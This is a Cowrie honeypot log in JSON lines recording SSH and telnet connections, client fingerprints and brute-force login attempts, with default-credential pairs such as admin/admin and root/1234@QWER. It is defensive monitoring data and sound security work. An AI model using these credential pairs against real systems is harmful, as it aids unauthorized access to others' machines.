{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.590525Z","src_ip":"130.12.180.51","session":"0ba2516cb57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah1","message":"login attempt [amiah/amiah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.630884Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.837383Z","src_ip":"130.12.180.51","session":"0ba2516cb57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:58.369304Z","src_ip":"130.12.180.51","session":"0ba2516cb57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah123","message":"login attempt [amiah/amiah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:58.715446Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah1234","message":"login attempt [amiah/amiah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:59.800632Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah12345","message":"login attempt [amiah/amiah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:00.886765Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:01.973055Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41064,"dst_ip":"159.203.135.109","dst_port":22,"session":"e418dc7ba45e","protocol":"ssh","message":"New connection: 159.203.92.129:41064 (159.203.135.109:22) [session: e418dc7ba45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:05.922202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:05.928473Z","src_ip":"159.203.92.129","session":"e418dc7ba45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:05.934558Z","src_ip":"159.203.92.129","session":"e418dc7ba45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root12","message":"login attempt [admin/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:05.996932Z","src_ip":"159.203.92.129","session":"e418dc7ba45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:07.005696Z","src_ip":"159.203.92.129","session":"e418dc7ba45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":40071,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d42dad396f","protocol":"ssh","message":"New connection: 212.154.234.9:40071 (10.17.0.5:22) [session: 06d42dad396f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:19.986077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:19.991072Z","src_ip":"212.154.234.9","session":"06d42dad396f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:20.174051Z","src_ip":"212.154.234.9","session":"06d42dad396f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":44696,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b9ba9ca6f67","protocol":"ssh","message":"New connection: 185.239.84.249:44696 (159.203.135.109:22) [session: 9b9ba9ca6f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:20.619122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:20.623166Z","src_ip":"185.239.84.249","session":"9b9ba9ca6f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:20.841093Z","src_ip":"185.239.84.249","session":"9b9ba9ca6f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a","message":"login attempt [admin/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:20.936378Z","src_ip":"212.154.234.9","session":"06d42dad396f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@QWER","message":"login attempt [root/1234@QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:21.732113Z","src_ip":"185.239.84.249","session":"9b9ba9ca6f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:22.121817Z","src_ip":"212.154.234.9","session":"06d42dad396f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:22.955170Z","src_ip":"185.239.84.249","session":"9b9ba9ca6f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef6ec3f6a304","protocol":"telnet","message":"New connection: 46.4.8.162:46792 (159.203.135.109:23) [session: ef6ec3f6a304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:47.063344Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45886,"dst_ip":"159.203.135.109","dst_port":22,"session":"baeddb09c28b","protocol":"ssh","message":"New connection: 159.203.92.129:45886 (159.203.135.109:22) [session: baeddb09c28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:50.488132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:50.493152Z","src_ip":"159.203.92.129","session":"baeddb09c28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:50.499372Z","src_ip":"159.203.92.129","session":"baeddb09c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123","message":"login attempt [admin/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:50.513037Z","src_ip":"159.203.92.129","session":"baeddb09c28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:49:51.518872Z","src_ip":"159.203.92.129","session":"baeddb09c28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2f8125e5ae","protocol":"telnet","message":"New connection: 46.4.8.162:42586 (159.203.135.109:23) [session: 5f2f8125e5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:12.567202Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":34072,"dst_ip":"159.203.135.109","dst_port":22,"session":"c395a6c7ba09","protocol":"ssh","message":"New connection: 185.239.84.249:34072 (159.203.135.109:22) [session: c395a6c7ba09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:18.317128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:18.325438Z","src_ip":"185.239.84.249","session":"c395a6c7ba09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:18.541463Z","src_ip":"185.239.84.249","session":"c395a6c7ba09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123457","message":"login attempt [root/123457] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:19.448406Z","src_ip":"185.239.84.249","session":"c395a6c7ba09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:20.671490Z","src_ip":"185.239.84.249","session":"c395a6c7ba09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.18107271194458,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:25.244311Z","src_ip":"46.4.8.162","session":"ef6ec3f6a304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55272,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4d17df4069","protocol":"ssh","message":"New connection: 159.203.92.129:55272 (159.203.135.109:22) [session: 3e4d17df4069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:35.334360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:35.338948Z","src_ip":"159.203.92.129","session":"3e4d17df4069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:35.348659Z","src_ip":"159.203.92.129","session":"3e4d17df4069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123!@","message":"login attempt [admin/root123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:35.362339Z","src_ip":"159.203.92.129","session":"3e4d17df4069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44188,"dst_ip":"159.203.135.109","dst_port":23,"session":"91390ee9f30e","protocol":"telnet","message":"New connection: 46.4.8.162:44188 (159.203.135.109:23) [session: 91390ee9f30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:36.327803Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:36.368806Z","src_ip":"159.203.92.129","session":"3e4d17df4069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2406530380249,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:50:47.807753Z","src_ip":"46.4.8.162","session":"5f2f8125e5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":10790,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47ea582277a","protocol":"ssh","message":"New connection: 212.154.234.9:10790 (10.17.0.5:22) [session: e47ea582277a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:05.974984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:51:06.040056Z","src_ip":"212.154.234.9","session":"e47ea582277a","protocol":"ssh"}
